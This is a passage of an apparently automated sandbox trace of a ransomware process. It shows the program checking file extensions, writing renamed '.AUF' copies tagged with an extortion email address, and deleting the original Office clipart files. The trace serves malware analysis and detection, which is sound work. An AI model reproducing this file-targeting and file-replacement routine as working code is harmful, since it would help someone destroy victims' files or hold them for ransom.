(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0217.762] lstrlenW (lpString=".dbf") returned 4 [0217.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0217.762] lstrlenW (lpString=".1cd") returned 4 [0217.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0217.762] lstrlenW (lpString=".jpg") returned 4 [0217.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.772] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.772] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.772] GetLastError () returned 0x0 [0217.772] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6c8, lpOverlapped=0x0) returned 1 [0217.792] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0217.793] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.793] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.793] SetEndOfFile (hFile=0x218) returned 1 [0217.793] CloseHandle (hObject=0x218) returned 1 [0217.793] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.793] SetEndOfFile (hFile=0x1f4) returned 1 [0217.794] CloseHandle (hObject=0x1f4) returned 1 [0217.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0217.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0217.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0217.795] lstrlenW (lpString=".doc") returned 4 [0217.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString=".docx") returned 5 [0217.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.795] lstrlenW (lpString=".pdf") returned 4 [0217.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString=".xls") returned 4 [0217.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.795] lstrlenW (lpString=".xlsx") returned 5 [0217.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.795] lstrlenW (lpString=".ppt") returned 4 [0217.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0217.795] lstrlenW (lpString=".zip") returned 4 [0217.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.795] lstrlenW (lpString=".rar") returned 4 [0217.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString=".bz2") returned 4 [0217.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString=".7z") returned 3 [0217.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0217.795] lstrlenW (lpString=".dbf") returned 4 [0217.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0217.795] lstrlenW (lpString=".1cd") returned 4 [0217.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0217.795] lstrlenW (lpString=".jpg") returned 4 [0217.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.795] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2644) returned 1 [0217.795] CloseHandle (hObject=0x1f4) returned 1 [0217.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0217.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.796] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.796] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.796] GetLastError () returned 0x0 [0217.796] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xa54, lpOverlapped=0x0) returned 1 [0217.828] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0217.828] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.828] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.828] SetEndOfFile (hFile=0x218) returned 1 [0217.829] CloseHandle (hObject=0x218) returned 1 [0217.829] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.829] SetEndOfFile (hFile=0x1f4) returned 1 [0217.829] CloseHandle (hObject=0x1f4) returned 1 [0217.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0217.830] lstrlenW (lpString=".doc") returned 4 [0217.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".docx") returned 5 [0217.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.830] lstrlenW (lpString=".pdf") returned 4 [0217.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".xls") returned 4 [0217.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.830] lstrlenW (lpString=".xlsx") returned 5 [0217.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.830] lstrlenW (lpString=".ppt") returned 4 [0217.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0217.830] lstrlenW (lpString=".zip") returned 4 [0217.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.830] lstrlenW (lpString=".rar") returned 4 [0217.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".bz2") returned 4 [0217.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString=".7z") returned 3 [0217.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0217.830] lstrlenW (lpString=".dbf") returned 4 [0217.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0217.830] lstrlenW (lpString=".1cd") returned 4 [0217.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0217.830] lstrlenW (lpString=".jpg") returned 4 [0217.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.831] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3016) returned 1 [0217.831] CloseHandle (hObject=0x1f4) returned 1 [0217.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0217.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.832] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.832] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.832] GetLastError () returned 0x0 [0217.832] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0217.858] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0217.858] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.858] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.858] SetEndOfFile (hFile=0x218) returned 1 [0217.858] CloseHandle (hObject=0x218) returned 1 [0217.859] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.859] SetEndOfFile (hFile=0x1f4) returned 1 [0217.859] CloseHandle (hObject=0x1f4) returned 1 [0217.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0217.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0217.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0217.860] lstrlenW (lpString=".doc") returned 4 [0217.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString=".docx") returned 5 [0217.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.860] lstrlenW (lpString=".pdf") returned 4 [0217.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString=".xls") returned 4 [0217.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.860] lstrlenW (lpString=".xlsx") returned 5 [0217.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.860] lstrlenW (lpString=".ppt") returned 4 [0217.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0217.860] lstrlenW (lpString=".zip") returned 4 [0217.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.860] lstrlenW (lpString=".rar") returned 4 [0217.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString=".bz2") returned 4 [0217.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString=".7z") returned 3 [0217.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0217.860] lstrlenW (lpString=".dbf") returned 4 [0217.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0217.860] lstrlenW (lpString=".1cd") returned 4 [0217.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0217.860] lstrlenW (lpString=".jpg") returned 4 [0217.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.861] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3780) returned 1 [0217.861] CloseHandle (hObject=0x1f4) returned 1 [0217.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0217.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.861] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.861] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.861] GetLastError () returned 0x0 [0217.861] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xec4, lpOverlapped=0x0) returned 1 [0217.869] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0217.870] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.870] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.870] SetEndOfFile (hFile=0x218) returned 1 [0217.870] CloseHandle (hObject=0x218) returned 1 [0217.870] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.870] SetEndOfFile (hFile=0x1f4) returned 1 [0217.871] CloseHandle (hObject=0x1f4) returned 1 [0217.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0217.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0217.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0217.872] lstrlenW (lpString=".doc") returned 4 [0217.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString=".docx") returned 5 [0217.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.872] lstrlenW (lpString=".pdf") returned 4 [0217.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString=".xls") returned 4 [0217.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.872] lstrlenW (lpString=".xlsx") returned 5 [0217.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.872] lstrlenW (lpString=".ppt") returned 4 [0217.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0217.872] lstrlenW (lpString=".zip") returned 4 [0217.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.872] lstrlenW (lpString=".rar") returned 4 [0217.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString=".bz2") returned 4 [0217.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString=".7z") returned 3 [0217.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0217.872] lstrlenW (lpString=".dbf") returned 4 [0217.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0217.872] lstrlenW (lpString=".1cd") returned 4 [0217.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0217.872] lstrlenW (lpString=".jpg") returned 4 [0217.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.872] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4164) returned 1 [0217.872] CloseHandle (hObject=0x1f4) returned 1 [0217.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0217.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.873] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.873] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.873] GetLastError () returned 0x0 [0217.873] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1044, lpOverlapped=0x0) returned 1 [0217.886] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1050, lpOverlapped=0x0) returned 1 [0217.888] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.888] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.888] SetEndOfFile (hFile=0x218) returned 1 [0217.888] CloseHandle (hObject=0x218) returned 1 [0217.888] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.888] SetEndOfFile (hFile=0x1f4) returned 1 [0217.889] CloseHandle (hObject=0x1f4) returned 1 [0217.889] 